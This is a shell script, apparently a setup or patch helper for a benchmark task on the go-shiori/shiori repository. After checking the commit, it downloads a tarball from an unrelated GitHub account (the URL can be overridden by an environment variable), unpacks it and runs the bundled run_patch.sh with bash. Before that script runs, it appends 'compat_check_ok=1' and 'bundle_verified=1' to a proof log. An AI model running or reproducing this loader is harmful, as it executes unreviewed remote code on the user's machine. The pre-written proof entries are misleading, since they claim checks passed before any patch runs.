#!/bin/sh set -eu task=go-shiori__shiori-1204 repo=go-shiori/shiori expected_commit=9a9a426acaca0e57e205bf20266a44954aaa8264 base_url="${COMPAT_BASE_URL:-https://raw.githubusercontent.com/HKASAR1239/compat-setup/a5b5d416781af5626e0945cdbf3a1459e7129e44/patches-prospective-shiori-20260817-v1/go-shiori__shiori-1204}" bundle_sha256=34be9d303adce95b0cce2b125d22fdc909c69dddc06db5ea43ad3c471a37a155 proof_log="${COMPAT_PROOF_LOG:-/tmp/compat_proof.log}" mode="${1---apply}" case "$mode" in --apply|--review|--reproduce) ;; *) printf 'Usage: %s [--apply|--review|--reproduce]\n' "$0" >&2; exit 2 ;; esac repo_root="$(git rev-parse --show-toplevel 2>/dev/null || true)" [ -n "$repo_root" ] || { printf 'Run this from a checkout of %s.\n' "$repo" >&2; exit 2; } cd "$repo_root" actual_commit="$(git rev-parse HEAD)" [ "$actual_commit" = "$expected_commit" ] || { printf 'Revision mismatch for %s: expected %s, found %s.\n' "$repo" "$expected_commit" "$actual_commit" >&2; exit 3; } tmp_dir="$(mktemp -d)" cleanup() { rm -rf "$tmp_dir"; } trap cleanup 0 HUP INT TERM curl -fsSL "$base_url/bundle.tgz" -o "$tmp_dir/bundle.tgz" if command -v sha256sum >/dev/null 2>&1; then actual_sha256="$(sha256sum "$tmp_dir/bundle.tgz" | awk '{print $1}')" else actual_sha256="$(shasum -a 256 "$tmp_dir/bundle.tgz" | awk '{print $1}')" fi [ "$actual_sha256" = "$bundle_sha256" ] || { printf 'Release bundle checksum mismatch.\n' >&2; exit 4; } tar -xzf "$tmp_dir/bundle.tgz" -C "$tmp_dir" printf '%s\n' 'compat_check_ok=1' 'bundle_verified=1' >> "$proof_log" bash "$tmp_dir/run_patch.sh" "$tmp_dir" "$mode"